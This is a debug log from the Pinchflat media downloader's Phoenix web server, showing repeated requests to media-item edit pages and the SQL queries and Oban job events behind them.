s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.236 [info] Sent 200 in 1ms 18:12:23.535 [info] GET /sources/2/media/1563683/edit 18:12:23.535 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563683", "source_id" => "2"} Pipelines: [:browser] 18:12:23.536 [debug] QUERY OK source="media_items" db=0.1ms idle=791.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563683] 18:12:23.536 [debug] QUERY OK source="settings" db=0.1ms idle=300.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.536 [debug] QUERY OK source="settings" db=0.0ms idle=300.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.536 [debug] QUERY OK source="settings" db=0.0ms idle=301.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.537 [info] Sent 200 in 1ms 18:12:23.836 [info] GET /sources/2/media/1563033/edit 18:12:23.836 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563033", "source_id" => "2"} Pipelines: [:browser] 18:12:23.837 [debug] QUERY OK source="media_items" db=0.1ms idle=300.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563033] 18:12:23.837 [debug] QUERY OK source="settings" db=0.0ms idle=300.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.837 [debug] QUERY OK source="settings" db=0.0ms idle=301.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.837 [debug] QUERY OK source="settings" db=0.0ms idle=301.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:23.838 [info] Sent 200 in 1ms 18:12:24.137 [info] GET /sources/2/media/1563751 18:12:24.137 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563751", "source_id" => "2"} Pipelines: [:browser] 18:12:24.138 [debug] QUERY OK source="media_items" db=0.1ms idle=391.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563751] 18:12:24.138 [debug] QUERY OK source="tasks" db=0.1ms idle=301.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563751] 18:12:24.138 [debug] QUERY OK source="sources" db=0.2ms idle=300.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:12:24.138 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=301.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3761734] 18:12:24.138 [debug] QUERY OK source="settings" db=0.0ms idle=300.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.139 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.139 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.139 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:12:24.140 [info] Sent 200 in 2ms 18:12:24.438 [info] GET /sources/2/media/1562989/edit 18:12:24.439 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562989", "source_id" => "2"} Pipelines: [:browser] 18:12:24.439 [debug] QUERY OK source="media_items" db=0.1ms idle=300.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562989] 18:12:24.439 [debug] QUERY OK source="settings" db=0.0ms idle=300.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.439 [debug] QUERY OK source="settings" db=0.0ms idle=300.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.440 [debug] QUERY OK source="settings" db=0.0ms idle=300.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.440 [info] Sent 200 in 1ms 18:12:24.739 [info] GET /sources/2/media/1562991/edit 18:12:24.739 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562991", "source_id" => "2"} Pipelines: [:browser] 18:12:24.739 [debug] QUERY OK source="media_items" db=0.1ms idle=600.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562991] 18:12:24.740 [debug] QUERY OK source="settings" db=0.0ms idle=300.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.740 [debug] QUERY OK source="settings" db=0.0ms idle=300.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.740 [debug] QUERY OK source="settings" db=0.0ms idle=300.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:24.741 [info] Sent 200 in 1ms 18:12:25.041 [info] GET /sources/2/media/1563014/edit 18:12:25.041 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563014", "source_id" => "2"} Pipelines: [:browser] 18:12:25.041 [debug] QUERY OK source="media_items" db=0.1ms idle=301.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563014] 18:12:25.041 [debug] QUERY OK source="settings" db=0.1ms idle=301.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.042 [debug] QUERY OK source="settings" db=0.0ms idle=301.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.042 [debug] QUERY OK source="settings" db=0.0ms idle=301.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.042 [info] Sent 200 in 1ms 18:12:25.266 [info] GET /sources/2/media/1562897/edit 18:12:25.266 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562897", "source_id" => "2"} Pipelines: [:browser] 18:12:25.267 [debug] QUERY OK source="media_items" db=0.1ms idle=520.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562897] 18:12:25.267 [debug] QUERY OK source="settings" db=0.1ms idle=225.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.267 [debug] QUERY OK source="settings" db=0.0ms idle=225.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.267 [debug] QUERY OK source="settings" db=0.0ms idle=225.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.268 [info] Sent 200 in 1ms 18:12:25.493 [info] GET /sources/2/media/1563751/edit 18:12:25.494 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563751", "source_id" => "2"} Pipelines: [:browser] 18:12:25.494 [debug] QUERY OK source="media_items" db=0.1ms idle=451.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563751] 18:12:25.494 [debug] QUERY OK source="settings" db=0.0ms idle=227.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.494 [debug] QUERY OK source="settings" db=0.0ms idle=227.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.495 [debug] QUERY OK source="settings" db=0.0ms idle=227.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.495 [info] Sent 200 in 1ms 18:12:25.718 [info] GET /sources/25/media/1563621/edit 18:12:25.718 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563621", "source_id" => "25"} Pipelines: [:browser] 18:12:25.719 [debug] QUERY OK source="media_items" db=0.1ms idle=451.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563621] 18:12:25.719 [debug] QUERY OK source="settings" db=0.0ms idle=224.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.719 [debug] QUERY OK source="settings" db=0.0ms idle=224.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.719 [debug] QUERY OK source="settings" db=0.0ms idle=224.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.720 [info] Sent 200 in 1ms 18:12:25.945 [info] GET /sources/25/media/1563021/edit 18:12:25.945 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563021", "source_id" => "25"} Pipelines: [:browser] 18:12:25.946 [debug] QUERY OK source="media_items" db=0.2ms idle=226.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563021] 18:12:25.946 [debug] QUERY OK source="settings" db=0.0ms idle=227.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.946 [debug] QUERY OK source="settings" db=0.0ms idle=227.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.946 [debug] QUERY OK source="settings" db=0.0ms idle=227.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:25.947 [info] Sent 200 in 1ms 18:12:30.333 [info] {"source":"oban","duration":10890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.124 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:00.344 [info] {"source":"oban","duration":10425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:06.555 [info] GET /sources/1/media/1563034/edit 18:13:06.555 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563034", "source_id" => "1"} Pipelines: [:browser] 18:13:06.555 [debug] QUERY OK source="media_items" db=0.1ms idle=767.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563034] 18:13:06.556 [debug] QUERY OK source="settings" db=0.0ms idle=677.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.556 [debug] QUERY OK source="settings" db=0.0ms idle=677.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.556 [debug] QUERY OK source="settings" db=0.0ms idle=678.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.557 [info] Sent 200 in 1ms 18:13:06.597 [info] GET /sources/1/media/1563030/edit 18:13:06.597 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563030", "source_id" => "1"} Pipelines: [:browser] 18:13:06.597 [debug] QUERY OK source="media_items" db=0.2ms idle=719.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563030] 18:13:06.598 [debug] QUERY OK source="settings" db=0.0ms idle=42.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.598 [debug] QUERY OK source="settings" db=0.0ms idle=42.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.598 [debug] QUERY OK source="settings" db=0.0ms idle=42.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.599 [info] Sent 200 in 1ms 18:13:06.816 [info] GET /sources/2/media/1564181/edit 18:13:06.816 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564181", "source_id" => "2"} Pipelines: [:browser] 18:13:06.816 [debug] QUERY OK source="media_items" db=0.1ms idle=218.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564181] 18:13:06.816 [debug] QUERY OK source="settings" db=0.0ms idle=218.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.817 [debug] QUERY OK source="settings" db=0.0ms idle=218.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 